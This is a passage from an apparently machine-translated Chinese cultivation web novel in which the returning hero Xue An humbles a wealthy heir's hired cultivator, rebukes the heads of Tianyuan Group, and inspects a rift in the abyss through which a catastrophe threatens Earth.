    This jade decision recorded all sorts of strange and unspeakable cultivation techniques, and Lu Yang learned this skill from it.


    Speaking of this, Lu Yang looked at Xue An pleadingly, "This is how it happened, I promise that there is no lie!"


    After hearing these words, Jiang Hongzhe and others couldn''t help but fell into shock.


    Because what Lu Yang introduced to them before did not say that.


    In Lu Yang''s mouth, he is the Miaojiang Poison Cultivator inherited from the ancient times, possessing unpredictable abilities, especially good at using various elixirs to stimulate people''s inherent potential and help practice!


    But never expected that he was just a liar.


    Xue An took a deep look at this Lu Yang after listening, and then said in a deep voice, "Where is that jade decision now?"


    "It''s in the pocket in front of me!"


    laugh!


    A ray of sword energy swept across, and the clothes on Lu Yang''s chest shattered directly, and then the jade decision flew out and reached Xue An''s hands.


    As soon as he started, Xue An was taken aback.


    Because this jade decision does not have the slightest sense of existence.


    You know, Lu Yang is kneeling in front of Xue An!


    Even so, Xue An hadn''t felt the existence of this jade decision before, and didn''t even feel it in his hand.


    "Sure enough, as I expected, isn''t it a thing of the heavens?" Xue An whispered softly.


    In fact, Xue An had noticed something strange since seeing this Yang Hui.


    Because the method Yang Hui displayed was not all the known methods among the heavens, but more like things outside the heavens.


    After seeing the so-called Five Poison Sect Master Lu Yang, Xue An''s idea was confirmed.


    And things outside of the sky appeared in the abyss. Does this mean that there are also channels in the abyss that lead out of the heavens, similar to the Pure Land Buddha Kingdom?


    Thinking of this, Xue An''s expression became more dignified.


    Lu Yang looked at Xue An with trepidation, wondering what this extremely powerful young man would do with him.


    When the audience was stuck in a stagnant state, there was a sudden sound of messy footsteps outside the door, and then Li Xingwei, the security supervisor of the Longteng Building, rushed in.


    Behind him is also leading a group of capable men You know that since Xue An entered this room, there has been such a big battle, the Longteng Building has naturally been alarmed.


    When he saw that the room was filled with upstart children from the provincial capital and Beijiang, Li Xingwei, who was in charge of building security, turned pale.


    If these people made any mistakes in the Longteng Building, they would be completely finished.


    So he immediately led people over.


    "Stop it, otherwise don''t blame me for being rude!" Li Xingwei shouted at Xue An hysterically.


    Xue An turned his head and glanced at him faintly, and suddenly said, "Are you from Tianyuan?"


    Li Xingwei was taken aback and nodded subconsciously.


    "Well, you go to the Tianyuan headquarters now, let your Qiao, Zhao and Yang come to see me!"


    "Just say...I''m back!"

 Chapter 2016： Let them come and see me

    Li Xingwei gradually came to his senses from the confusion, and then laughed back in anger, "What did you say? Let the three of our bosses come to see you, who do you think you are? Such a big face?"


    Xue An ignored his words, just said indifferently: "It''s your business to inform you, and it''s their business that they don''t come, but if this delays a major event, can you possibly bear the responsibility?"


    Xue An''s words made Li Xingwei speechless, but he still looked at Xue An bitterly.


    "Then what if you take advantage of me to go against Shao Jiang and the others?"


    Xue An smiled freely when he heard the words, "Don''t worry, just rely on them... they are not worthy of me!"


    When Jiang Hongzhe and others heard this, their faces all showed anger.


    But for such a young man with a mysterious origin, they are not easy to have an episode, so they have to suppress themselves.


    Li Xingwei gritted his teeth, "Well, then I will believe you once, but if you dare to play with me, I guarantee you can''t get out of the Tamron Building!"


    Having said that, Li Xingwei yelled at the men behind him: "Take a good look at him, if he dares to make any changes, let him kill him!"


    "Yes!" the group of security guards shouted together.


    Li Xingwei hurriedly left the room and went outside to call.


    Xue Anze Shi Ran walked to the sofa, "Thank you, please!"


    Jiang Hongzhe and others had to step aside.


    Then Xue An sat down leisurely, with a faint smile on his face.


    But others couldn''t laugh.


    Because there are still two people kneeling on the ground at the moment.


    One is the irritable Jiao Ganghao, and the other is Lu Yang from the Five Poison Sect.


    The atmosphere in the room was overwhelming.


    And outside the house.


    This Li Xingwei dialed a number carefully.


    The phone rang twice and was connected, and a cold female voice came from inside.


    "What''s the matter, say!"


    Li Xingwei almost bent his waist to the ground, "Secretary Yuan, I have encountered a small situation here. Someone said he wanted to see three bosses, I..."


    On the other end of the phone, wearing a professional attire, Yuan Mengying, who appeared capable and glamorous, frowned upon hearing this.


    "Just because of this, you are also worth calling me? I want to see more of the three bosses every day, so let him make an appointment if you want to!"


    With that said, Yuan Mengying was about to hang up.


    Li Xingwei��s sweat is about to come down, "Secretary Yuan, you understand the wrong meaning, this person is asking the three bosses to come and see him..."


    The more I said later, Li Xingwei''s voice became quieter, and in the end it was like a mosquito.


    Yuan Mengying on the phone was even more angry and smirked, "Li Xingwei, are you confused when you go to Beijiang to be the security minister? You even believe in the lunatic''s nonsense? Who does he think he is? A boss went to Beijiang to see him?"


    "Yes, yes, what you taught is that to be honest, I think so too, but the situation is really special, and the population said that the three bosses will come to see him. He also said let me tell you a word, say What did he come back! What an unreasonable lunatic, I will go and clean him now!"


    Li Xingwei took a sigh of relief, thinking that he had ruled out the possibility that the white-clothed boy really knew the three bosses.


    After all, Yuan Mengying, as the chief secretary of the Tianyuan Group, knows everything about everything. If she doesn''t know who it is, then this person does not need to ask, she must be a liar!


    But as soon as he finished speaking, he heard the harsh sound of table and chair rubbing from the other end of the phone, and then Yuan Mengying''s rapid breathing came.


    "What did you say? You say it again!"


    "I said that was an unreasonable lunatic, I will find my brothers to clean him up now!" Li Xingwei said angrily.


    "Not this sentence! The sentence above!" Yuan Mengying on the other end of the phone, her hand was already shaking.


    "What did this liar say he''s back! Is there any problem?"


    This statement came out.


    Yuan Mengying shook her body and almost fell to the ground. Fortunately, she held the table in time.


    At this time, Li Xingwei''s somewhat puzzled voice came from the phone.


    "Secretary Yuan, what''s the matter with you? If nothing happens, I will hang up first. After all, that guy lied to me, I can''t let him run away!"


    With that, he wanted to hang up the phone.


    "Stop it!" Yuan Mengying shouted suddenly.


    The voice was so loud that even the busy little secretaries around were shocked.


    No one has seen the big secretary look so gaffe.


    At the same time, I saw Yuan Mengying standing up straight and taking a deep breath: "Li Xingwei, you can listen to me. From now on, you can no longer be disrespectful to the person speaking, let alone let him leave, I Now go and notify the three bosses, if there is the slightest mistake..."


    "You don''t have to come back!"


    Despite the phone call, Li Xingwei could still hear the cold killing intent in Yuan Mengying''s words.


    And before he said anything, the phone was hung up.


    Li Xingwei stood there blankly. It was not until a long time later that he said softly: "Fuck, is it true that the three bosses will come to see him as this guy said?"


    Just when Li Xingwei was shocked.


    In the Tianyuan Headquarters Building in Kyoto, many secretaries and staff saw a scene that will never be remembered.


    But seeing that she is usually dignified and cold, and even known as the ice goddess, Yuan Mengying, the Secretary-General, is flying in the wide corridor wearing high heels.


    After she rushed past, everyone just looked at each other dumbfounded.


    "Just... was that Secretary Yuan just now?"


    "probably!"


    In these countless pairs of surprised eyes, Yuan Mengying hurriedly came to the meeting room.


    now.


    On the reception desk outside the door, a female secretary was secretly looking at her mobile phone.


    Seeing Yuan Mengying coming, she was so scared that she hurriedly hid the phone and stood up.


    "Secretary!"


    Yuan Mengying panted, but still eagerly shouted: "Why didn''t I answer the phone just now? How about the three bosses?"


    "The three bosses are all in the meeting. You ordered them. The bosses can''t answer the phone during the meeting...!"


    Before the latter words were finished, the female secretary was in shock and confusion.


    I saw Yuan Mengying, who was usually dignified and majestic, at this moment, three steps and two steps, rushed to the door of the meeting room, and kicked out.


    Boom!


    Yuan Mengying kicked the solid wood door open.


    Zhao Xuehui, Qiao Le, and Yang Bin, who were in a meeting to study the business merger plan, looked up in amazement.


    "Mengying, what''s wrong? What happened to make you so worried?" Zhao Xuehui asked.


    Yuan Mengying looked solemn, then took a deep breath and said slowly: "My lord... are back!"


    grown ups!


    In the entire Tianyuan Company, there is only one person who can be called an adult by Yuan Mengying.


    And hearing this sentence, Zhao Xuehui, Qiao Le and Yang Bin were all shocked.


    "What are you going to say?"


    "Mr. Xue, I''m back!"

 Chapter 2017： Why are you so polite? Just meet me...

    "Invincible, start with Dad Xianzun (


    Click!


    The global limited edition pen in Qiao Le''s hand fell to the ground and fell in half.


    But Qiao Le didn''t realize it at all, but whispered softly with a blank face: "Second brother is back..."


    Immediately the three of them shook together, and then as if they had discussed it, they stood up in unison and said in unison: "Where?"


    Yuan Mengying said quickly: "It was Li Xingwei who called me to inform me that I should be in the Tenglong Building in Beijiang now, and the lord said, let you go and see him now!"


    "Quick, prepare a car, no, prepare a helicopter!" Qiao Le shouted immediately.


    But Zhao Xuehui had already rushed out at this time, and said as he ran: "It''s too late, let''s fly over by Yukong!"


    After several years of rapid development, the level of spiritual practice on the entire earth has risen.


    I can''t say that I will walk everywhere, but it''s almost there.


    As for the three of Zhao Xuehui, as the boss of the giant Tianyuan Group, with the blessing of many resources, their strength is even more impressive.


    The strongest Zhao Xuehui has already broken through to become a true fairy.


    Even Qiao Le, who is the worst in strength, already has a golden immortal cultivation base.


    Therefore, there is no pressure to fly in the air.


    The three of them didn''t delay even a second, kicked open the tall floor-to-ceiling window of the conference room, jumped up and flew into the sky.


    Without looking back, Yuan Mengying said to the many security guards and secretaries who rushed to hear the noise: "You are waiting here, and the scene is sealed off. No one else is allowed to enter here!"


    Having said that, without waiting for everyone to respond, Yuan Mengying stood up and rushed towards Beijiang after the three.


    At the moment, the atmosphere on the top floor of the Tamron Building is very solemn.


    Jiang Hongzhe and the others stood aside with expressions of iron, staring at Xue An, who was sitting on the sofa leisurely, almost bursting into flames in their eyes.


    Especially this Jiang family, as a local upstart son of Beijiang, he is a distinguished guest no matter where he goes, who is not welcoming him with a smile.


    Therefore, he has never encountered such a situation before. It was originally a feast among wealthy children, but in the end, he was disturbed by the white-clothed boy who had no origin and identity in front of him.


    How could he not hate this.


    Time passed by every minute and every second.


    Li Xingwei, who had gone out to call, had not returned yet, and the atmosphere in the court became weird.


    The prince of the Wang family whispered: "Young Master Jiang, I think this guy is bluffing at all, and I don��t want to think about the identity of the three elders of Tianyuan. How can he come to Beijiang to see him? Who does he think he is? So I think How about we..."


    Jiang Hongzhe snorted coldly, a cold light flashed in his eyes, and said coldly: "Don''t worry, I have just notified the family, now people should be coming soon!"


    As soon as the voice fell, there was a loud noise from outside, and someone roared, "Who dares to be disrespectful to my Jiang family?"


    Jiang Hongzhe smiled upon hearing this and immediately shouted: "Grandpa San, I am here!"


    When the words fell, I heard heavy footsteps like a mountain outside the door, shaking the entire floor trembling slightly, and then an old man with all beard and hair, like an angry lion, walked in with his head raised.


    This old man is very tall, with silver hair and a pair of eyes full of brilliance.


    It is a top worship from the Jiang family named Ou Haiyang.


    This person was originally a casual cultivator in the world, but after he was promoted to the realm of real immortals, he was hired by the Jiang family with a lot of money and regarded him as the most important trump card in the family.


    Therefore, the Jiang family treats him like a god.


    Even Jiang Hongzhe must honor him as Grandpa Three.


    Seeing that he had come in person at this moment, Jiang Hongzhe couldn''t help but feel determined, sneered at Xue An, and then raised his hand.


    "Grandpa San, this is the one who disturbed my wine bureau and injured my friend. He didn''t put me in the eyes at all. Please teach him!"


    Ou Haiyang snorted coldly from his nostrils, then rolled his eyelids and looked at Xue An coldly.


    Because of the obscuration of the Law of Heaven, he couldn''t see Xue An''s true face at all. He only saw an ordinary white-clothed boy, so he couldn''t help grinning and laughing strangely.


    "Nowadays, the prosperous age is really a lot of heroes. I didn''t expect that there would be people who would dare to disrespect my Jiang family on the border of Beijiang."


    But Ou Haiyang never expected that the boy in white did not even lift his head when facing him.


    I didn''t even bother to look at myself.


    This made him even more angry, and the murderousness in his words couldn''t help but become heavier.


    "Why? Don''t dare to speak? Well, then you kneel down and apologize to Young Master Jiang. If you ask for his forgiveness, I can let you go, otherwise..."


    Ou Haiyang gave a weird smile, "The old man is not a vegetarian!"


    Ou Haiyang ran across the rivers and lakes back then and committed many terrifying crimes, but after taking refuge in Jiang''s family, he was not held accountable at all.


    That''s why he reported his name so arrogantly.


    At this moment, Xue An suddenly chuckled, and then slowly raised his head, "Blood-handed people slaughtered?"


    "Yes, it is the old man!" Ou Haiyang raised his chin proudlyThat means you are scared!


    In his opinion, after hearing his name, the white-clothed boy would definitely change his color and kneel down and beg for mercy.


    Unexpectedly, Xue An smiled and shook his head, "I really don''t know which uneducated person gave you this nickname, it''s really explosive."


    Facing Xue An��s complaints, Ou Haiyang��s face turned green and red for an instant, and then roared, ��Boy, don��t take advantage of your tongue, today I will let you see how good an old man is!��


    After that, his hands instantly turned blood red, and then rushed towards Xue An angrily.


    When Jiang Hongzhe saw this, a smug smile appeared on his face.


    He was very confident in Ou Haiyang, after all, he was a master at the real fairy level!


    This level of cultivation is considered a first-rate master in today''s earth!


    Therefore, in his opinion, this young man in white must definitely die!


    But Xue An didn''t even move, just a flash of brilliance in his eyes.


    This Ou Haiyang felt that his feet suddenly softened, and then he threw himself and fell to the ground, falling into a dog shit.


    This time everyone was shocked!


    The smugness on Jiang Hongzhe''s face solidified in an instant, and then he looked at the scene in disbelief.


    what happened?


    Why did Grandpa San suddenly fall down? Could this be a special trick?


    And even more unbelievable than him is this Ou Haiyang.


    I saw his eyes widened, his head was confused, and he looked at Xue An sitting on the sofa in front of him.


    Xue An smiled faintly, "How come you are so polite, so you can be so polite as soon as you meet?"


    Ou Haiyang''s eyes gradually glowed red, which was a sign that he was completely angry.


    The majesty of the true immortal swelled throughout the room, and the persecuted Jiang Hongzhe and others retreated.

 Chapter 2018： Unparalleled in the world

    "Invincible, start with Dad Xianzun (


    Seeing this scene, Jiang Hongzhe let out a sigh and sneered: "It''s over! Grandpa San has been completely furious, and waiting in front of this guy will definitely be...Huh?"


    Before he finished speaking, Jiang Hongzhe''s eyes almost didn''t come out.


    Because at this moment, I saw Xue An slowly stretched out his hand, gently stroked Ou Haiyang''s silver hair, and said lightly: "I''m so old, why are you so irritable?"


    The tone and movements are as if talking to the pet dog in the house.


    Everyone in the room was stupid.


    Jiang Hongzhe couldn''t believe his eyes, and whispered softly: "This... how is this possible?"


    And this Ou Haiyang looked at Xue An with horror.


    Because at this moment, he suddenly discovered that under the almost insulting head of the white-clothed boy, he couldn''t even move a finger.


    It was as if all the strength of the whole body had been drained, and even the slightest resistance could not arise.


    This weird phenomenon shocked his heart infinitely.


    At this moment, I saw Xue An raised his hand to smell it, and then frowned slightly, "You should wash your hair! I''ll help you."


    After all, a blaze of light suddenly rose from Ou Haiyang''s head, and spread out in an instant, igniting the silver hair he has always been proud of.


    boom!


    The flames shot into the sky, and Ou Haiyang''s head instantly turned into a torch, and an unpleasant smell of scorched hair filled the air.


    Jiang Hongzhe was so frightened that he couldn''t stand still, and the rest of the people were also frightened.


    But in the blink of an eye, the flame disappeared.


    Looking at Ou Haiyang at this time, the hair on his head has been burned out, and it has become a bright and bright big bald head.


    Xue An nodded in satisfaction, "This makes it more pleasing to the eye!"


    Ou Haiyang almost wanted to cry without tears. He hated the white-clothed boy so much, but he didn''t dare to show it. He could only keep lying on the ground in this posture, matching his new head shape, how funny he looked.


    But no one in the room could laugh.


    At this moment, Xue An turned to look at the sky outside the private room and sighed, "The time is almost here, it should be here!"


    What''s coming?


    Everyone is wondering.


    Suddenly, four brilliances appeared in the sky outside the window, and they rushed towards the Tenglong Building at an extremely fast speed.


    In the blink of an eye, the streamer directly pierced the glass of this box, and then fell on the ground.


    After Guanghua dissipated, it was Zhao Xuehui, Qiao Le, Yang Binyi and Yuan Mengying.


    At first sight it was four of them.


    The whole house is even more silent.


    In Jiang Hongzhe''s heart, a stormy sea was even more set off.


    Although in his capacity, he has no access to a big figure like Zhao Xuehui.


    But he saw these familiar faces on TV or on the Internet.


    At this moment, I was shocked to see them suddenly flying here.


    But this is just the beginning.


    But after seeing Zhao Xuehui, Qiao Le and others entering the private room, they saw Xue An sitting on the sofa not far away.


    Because of familiarity, they are not obscured by the laws of heaven.


    As a result, all their faces showed excitement.


    Then headed by Zhao Xuehui, all four of them took a deep breath, stepped forward, and bowed their heads deeply towards Xue An.


    "I have seen Mr. Xue!"


    At this moment, the three of them, regardless of age and seniority, sincerely expressed respect for Xue An''s return.


    After all... Xue An is the first person to save the earth in distress several times and personally start this flourishing practice!


    In the face of such achievements and prestige, even Zhao Xuehui, who is the eldest brother, must show his respect.


    boom!


    The action of the four of them was like dropping a blockbuster in this private room, which shook everyone dizzy.


    what?


    Even the Big Three of the Tianyuan Group must respect this boy in white and call him Mr. Xue!


    Then the identity of the boy in white is ready to come out!


    Because in the earth, there is only one person worthy of the three words Mr. Xue!


    It is the Xue Shenzun who is unparalleled in the world!


    As soon as I thought of this, everyone''s expressions changed.


    The five-poison sect''s lord Lu Yang, who was kneeling to the ground, had been thinking about how to escape from here.


    But after hearing these words, he didn''t even hesitate. He rolled his eyes and was abruptly fainted.


    Shi Teng, who deceived and deceived money under the banner of Xue An, also had a dumb face.


    It turns out that he is Xue Shenzun!


    Shi Teng suddenly became excited.


    As for Ou Haiyang, who had gritted his teeth with hatred and had been thinking about how to retaliate, after understanding Xue An''s identity, he almost didn''t bite off his tongue.


    Then he looked at Xue An with horror, and all the hatred in his heart instantly disappeared.


    Because you might hate someone whose realm is similar to yours, but when this person is extremely powerful, you can''t even hate it.


    After the commotion, the audience gradually calmed down.


    Because the four of Zhao Xuehui are still bowing down and saluting!


    But Xue An seemed to have not seen it, still sitting on the sofa with a calm expression.


    The atmosphere gradually became serious.


    Zhao Xuehui, Qiao Le, and Yang Bin gradually showed cold sweat on their foreheadsA trace of doubt flashed in Yuan Mengying''s heart.


    what happened?


    You have to know that adults weren''t like this before, although they are distinguished, it can be seen that the three bosses will be very warm and kind afterwards.


    What is going on today?


    But she didn''t dare to ask, she could only lower her head deeply, not even daring to move.


    And this scene was also seen by Li Xingwei outside the door through the crack of the door.


    At this time, his blood was almost cold.


    Then he was crazy fortunate.


    Fortunately, I didn''t go too far, otherwise I didn''t even know how to die.


    Because even his three bosses and Secretary Yuan had to stand there obediently, not even daring to move, what kind of thing is he!


    Time passed by every minute and every second.


    The sweat beads on the foreheads of Zhao Xuehui and others also dripped down.


    at last.


    Xue An sighed, "All stand up!"


    But even though he said so, the three of Zhao Xuehui still did not move.


    Only Yuan Mengying raised her head quietly and looked at Xue An cautiously.


    Xue An nodded slightly at her, "Miss Yuan!"


    Miss Yuan paled with fright and nodded her head in return, "Xue...Mr. Xue!"


    Xue An smiled, then looked at the three people who were still bowing, and couldn''t help but sigh, and then said: "Big brother, third, fourth, you all get up!"


    The three of them slowly stood up, but still did not dare to speak. Only the thickest-skinned Qiao Le whispered at Xue An, "Second brother!"


    Xue An nodded, then stood up, walked slowly to the window, and stared at the prosperous city at his feet, without speaking for a long time.


    The atmosphere in the box was depressing and breathless.

 Chapter 2019： I want the Chinese to become the first race of the heavens...

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Finally, Xue An said in a calm voice: "Big brother, third, fourth, do you know what you did wrong?"


    The three of them shook together, but Qiao Leqiang laughed, "Second brother, give me a hint."


    Xue An turned his head and glanced at him, Qiao Le quickly reduced his smile and stood there obediently, not even daring to move.


    "Brother, what is our purpose when we started Litianyuan, do you remember?"


    Zhao Xuehui nodded, "Of course I remember, it was for the rise of China!"


    "Very good!" Xue An nodded, and then asked, "Then I ask you, has China risen now?"


    This question caused Zhao Xuehui''s three people to look at each other, and then Yang Bin said cautiously.


    "Should... be considered a rise!"


    Xue An smiled, "What does it mean to be a rise?"


    "Because the current China is already the most powerful country in the world!" Yang Bin said.


    "Is it a rise to become the most powerful country in the world?" Xue An said lightly.


    Yang Bin''s face turned white, and he dared not speak.


    Xue An turned his head again to look at the night sky outside the window, and said lightly.


    "I said at the beginning that the outside world is far larger than you think, and compared to the vast universe, even the sky is just a drop in the ocean! So it has only become the strongest country on a small planet. , Even if it has risen?"


    Xue An''s words made the faces of Zhao Xuehui and Yuan Mengying appear contemplative.


    "No! This is far from enough! I think the rise of the Chinese people should be the power spreading across the entire heavens, and even the entire universe, becoming the most powerful ethnic group under the stars. This is the real rise, you..."


    Xue An turned his head and looked at the three of Zhao Xuehui with bright eyes, "Do you understand?"


    Everyone was stunned by the grand prospect described by Xue An.


    To make the entire Chinese race the most powerful race in the entire heavens and even the entire universe, what a bravery it must be to say such a thing!


    Especially the three of Zhao Xuehui, they are even more excited.


    "Second brother is right, this is the real rise! In contrast, the strongest country on the earth is a shit!" Qiao Le said with a smile.


    But the next moment, he couldn''t laugh.


    Because Xue An glanced at him coldly.


    Qiao Le shrank his neck in fright, and secretly stuck out his tongue, never daring to talk nonsense again.


    At the same time, Xue An asked calmly: "Since we know that the Chinese are far from rising, then I ask you, what are you doing recently?"


    As soon as this remark came out, Zhao Xuehui''s three people looked ashamed.


    "we����."


    "I will answer for you, I am busy building these luxurious and magnificent high-rise buildings, I am busy extending commercial tentacles into every corner of society, I am busy making money, right?"


    Cold sweat appeared on the faces of the three of them, and their whole bodies trembled slightly.


    Xue An sighed softly, "Admittedly, there is nothing wrong with you doing this, because the company is to make money after all. You have done a great job at this point, but have you thought about it, even if you make more money?"


    "In front of that boundless sea of ??stars, everything is floating clouds, only one''s own strength is true! Because those real enemies will not let the earth be spared for money! Now...understand?"


    The three of them were pale and bowed their heads in shame.


    "Understood, it''s ridiculous that we thought we did a good job before, but we were blinded by the superficial glitz!" Zhao Xuehui sighed lightly.


    Qiao Le said seriously and sincerely: "Second brother, what you taught is so right, we know it is wrong!"


    Xue An smiled and nodded, "Just understand."


    "Then second brother, you came back suddenly this time, isn''t it just to tell us this?"


    "Of course not! I just caught up with this incident. I came back this time because of a very important thing!"


    Speaking of this, Xue An''s expression became very solemn.


    "Where are Xuan''er and others?"


    "Second brother, girl Xuan''er, girl Jingjing, girl Xiaorui and others are all killing monsters in the abyss!" Qiao Le said.


    "Punching monsters?" Xue An was taken aback for a moment, and immediately understood what it meant, and couldn''t help laughing: "This metaphor is quite vivid."


    "Hey, don��t you know that since you connected the abyss to our earth, the powerhouses in the world have gone crazy. Countless people have begun to go deep into the abyss to search for treasures. It can be said that the reason why our earth��s cultivation has grown in the past two years A large part of the reason for the speed is from this abyss!" Qiao Le said.


    Xue An nodded, "If this is the case, then I will go to the abyss!"


    "Second brother, we will also go with you!" Qiao Le said immediately.


    Xue An did not refuse, because he knew that all three of them wanted to make up for their faults.


    "It''s okay, but there are still some things that need to be dealt with before leaving!"


    With that, Xue An turned his head to look at Ou Haiyang who was kneeling on the ground.


    As far as he could see, this Ou Haiyang trembled, no longer the arrogance he had before.


    Xue An said lightly: "You are bullying, can you convict?"


    Ou Haiyang knocked his head repeatedly, but couldn''t even speak.


    "It stands to reason that what you have done must be punished severely, but now it is the time to use people, so I ask you, are you willing to commit crimes and make merit?"


    Hearing Xue An''s words Ou Haiyang, who had been in despair, suddenly raised his head and looked at Xue An blankly.


    "Why? Are you willing or not?" Xue An said coldly.


    Ou Haiyang was overjoyed, tears streaming down his face, and then nodded frantically, "May...Yes!"


    "Okay, then you just wait here obediently!" With that, Xue An waved his hand, and a ray of sword light pierced Ou Haiyang''s eyebrows.


    Ou Haiyang shook all over, then lowered his head deeply.


    Because he knew that since then, his life is no longer his own!


    But this was not over yet, Xue An''s eyes swept across the faces of the people present.


    Everyone bowed their heads wherever they went.


    In the end, Xue An set his sights on Jiang Hongzhe.


    Jiang Hongzhe was almost crying at this time, how could he think that he actually provoked such a great god, so his whole body was trembling.


    "Who from the Yu family learned your sword intent?" Xue An said lightly.


    "Master Hui, it was... Master Yu Ran taught me!" Jiang Hongzhe said tremblingly.


    "Yu Ran?" Xue An muttered softly, then Guanghua flashed in his eyes.


    Jiang Hongzhe felt that something had exploded in his mind. He was drained of all strength in an instant, and then collapsed to the ground.


    "I won''t kill you, but someone like you is not worthy of a sword!"


    With that, Xue An said to Yuan Mengying again: "Miss Yuan, please investigate the families of these people present. If there is something illegal...you know what to do!"


    "Yes!" Yuan Mengying nodded immediately.


    "gone!"


    With that, Xue An rolled up and lay on the ground Lu Yang, who had actually woke up but was still pretending to be dizzy, then flew up and disappeared in the blink of an eye.

 Chapter 2020： Abyssal Rift

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    This is a secret space at the bottom of the abyss.


    The air was filled with a moist and disgusting pungent odor, and the fleshy ball flowers exuding blue fluorescence floated in the air, covering this space with a mysterious and strange veil. .


    But at this moment, a small team suddenly broke through the tranquility here.


    These meatball flowers were startled by the sound of footsteps and scattered in all directions.


    It wasn''t until the team walked out of the darkness that it was clear that the leader was a girl with a double ponytail wearing a leather jacket and a cold face.


    And behind her were several men wearing special protective clothing with only two eyes exposed.


    Despite the harsh surroundings, the girl seemed to be totally insensible, walking towards the depths of the space with a calm expression.


    Suddenly, a tentacle monster suddenly burst out in the unknown darkness.


    I saw it waving its sticky and fishy tentacles, and rolled towards the girl.


    This change was so sudden that the young girl stood there, without even reacting at all, as if she was frightened.


    At this moment, a man not far behind her shouted, "Xiao Rui, get out of the way!"


    With that, he desperately rushed to the front, blocking the girl''s front, and then he held the dagger in his hand and swung repeatedly.


    puff!


    After the tentacles were smashed by the dagger, the smelly blood splashed out, but they were all swiftly avoided by the man.


    But at this moment, the tentacle monster suddenly opened its mouth and sprayed a stream of black mucus at the man.


    The speed of this mucus was so fast that it even made the man too late to react.


    At this moment, the girl with two pony tails suddenly stepped forward and slapped her palm against the black mucus.


    puff!


    The mucus tried to corrode after touching the girl''s arm, but it quickly lost its activity and then turned into pus and splashed on the ground.


    But before everyone could breathe a sigh of relief, the man suddenly yelled, "Quick! Get the potion!"


    I didn''t know when some black blood was splashed on the protective clothing worn by the man, causing white smoke.


    The other men rushed forward, took out the special water bag they carried with them, and flushed them in the men''s protective clothing.


    It wasn''t until a long while later that the white smoke dissipated, and the man let out a breath.


    "Oh my god, fortunately I hide fast, otherwise I will be burnt out!"


    As he said, the man turned his head and smiled at the girl, "Xiao Rui, are you okay!"


    That''s right!


    The girl with a double ponytail in leather is Xiao Rui.


    Naturally, this man was Zou Sui, the living treasure and assassin in the Fire Phoenix Special Forces.


    Since Xue An opened the abyss and connected it to the earth.


    Tang Xuan''er, Xie Jingjing, and Xiao Rui and others often entered the abyss to experience.


    This Fire Phoenix Special Force is no exception. Unless there is a mission, the entire Fire Phoenix is ??basically soaked in this abyss.


    However, because the abyss was really too big, the captain Cheng Hao divided the Fire Phoenix into several small teams and allowed them to move freely within the limits of their strength.


    So Zou Sui volunteered and led a few well-connected players to form a small team.


    But he did not act alone. Instead, he followed Xiaorui''s face and said that he was worried about her safety and he should protect her personally.


    Xiao Rui is not good at words, or she may simply be too lazy to refuse, and actually let him go.


    now.


    After hearing Zou Sui''s questioning, Xiao Rui didn''t even react at all. She just glanced at him coldly, then turned around and stepped on the tentacle monster''s body and walked in.


    Zou Sui stood still awkwardly.


    Because this kind of oolong on the road is no longer a trouble.


    I often act out of worry, but the result is counterproductive, often making myself fall into danger repeatedly, and Xiao Rui has to act to save him.


    It is strange to say that the poison in the abyss that was enough to kill the average strong at that time had no effect on Xiao Rui.


    Probably because of being refined by alchemy, Xiao Rui is not afraid of the poison in this abyss.


    At this moment, I saw Zou Sui being left in place by Xiao Rui.


    The rest of the Fire Phoenix players all smiled.


    Zou Sui became angry from embarrassment, "Smile!"


    But when he said this, these people laughed louder, and one of the team members smiled and said: "Zou Tou, it seems that Miss Xiao Rui has a big opinion of you, so I will ignore you at all!"


    "Bah, what do you know, Xiao Rui feels sorry for me!"


    "Oh, is it, then why didn''t we see it?"


    "Stop the **** nonsense, go quickly, if Miss Xiao Rui leaves by herself later, I see what you do!"


    After that, Zou Sui quickly turned and left.


    Because he knows how unreliable these guys'' mouths are.


    And that is when the group of them continues to go deep.


    Xue An led Zhao Xuehui and the three people to a corner of the abyss.


    In front of him was a darkness that was almost nothing.


    But in such darkness, there was a huge crack glowing with scarlet light, as if a giant black python was chopped out of a scar, weird and terrifying.


    "God, what''s going on?" Zhao Xuehui couldn''t help but exclaimed.


    Xue An had anticipated this, and sighed softly, "It really is."


    Then he threw Lu Yang down and said lightly: "Are you still going to pretend to be dizzy?"


    Lu Yang trembled all over, then opened his eyes tremblingly.


    "Big...sir!"


    Xue An ignored it, only raised his hand to point to the crack in front of him, "Is your jade decision obtained from here?"


    Lu Yang nodded hurriedly, "Yes...yes!"


    Qiao Le couldn''t help asking at this moment: "Second brother, what is going on? What is this crack?"


    "It''s not something!" Xue An stared at the crack in front of him coldly, and then slowly said: "It''s a passage to the sky!"


    "A passage to the outside world?" The three were all startled.


    "To be precise, it should be a fissure extending from the sky to here!"


    The expressions of the three Zhao Xuehui became serious, because they all felt the seriousness of the situation.


    "Then what to do? What consequences will this have?" Yang Binyi asked suddenly.


    Xue An sighed lightly: "I came back this time because of a catastrophe that is about to spread from the outside world to this place. What consequences do you think will happen?"


    As soon as these words came out, all three of them were stupid.


    Because this is the catastrophe that Xue An said!


    This is even beyond their imagination.


    After a long time, Qiao Le suddenly gritted his teeth and yelled: "Second brother, is this guy a ghost? I''ll twist his head off now!"


    As he said, Qiao Le rushed forward angrily and wanted to do it.

 Chapter 2021： Aloof

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Lu Yang was frightened and screamed.


    "Don''t kill me, don''t kill me, I really didn''t do this thing. I just passed by here by accident and found that jade decision!"


    "I still dare to argue, I will kill you today!" Qiao Le didn''t listen to his explanation at all. He rolled his arms and sleeves and wanted to start.


    "Okay, he really didn''t do this thing, and he doesn''t have the ability and qualifications to do this kind of thing!" Xue An said lightly.


    Qiao Le stopped holding his hand unwillingly, but still said uncertainly: "Then how can a crack suddenly appear here?"


    "Haha!" Xue An sneered, "Some guys want to break in from here because the previous road was blocked!"


    Speaking of this, Xue An turned his head and glanced at Lu Yang, who was already shaking.


    "Unfortunately, these guys are deliberate, and even sent the Yujue in, just looking for a suitable person to help them open the channel, but they found a waste who can only show off and do not understand convergence!"


    "In this case, let''s kill it!" Qiao Le said murderously.


    When Lu Yang heard this, he rolled his eyes and fainted again.


    Xue An shook his head, "Forget it, this guy is simply controlled by the greed in his heart. Killing him will not help. Instead, it is better to let him commit a crime!"


    With that, Xue An raised his hand and waved, a brilliance penetrated into Lu Yang''s eyebrows.


    Lu Yang was shocked, and when he opened his eyes again, the previous fear and horror were gone, replaced by extreme calm.


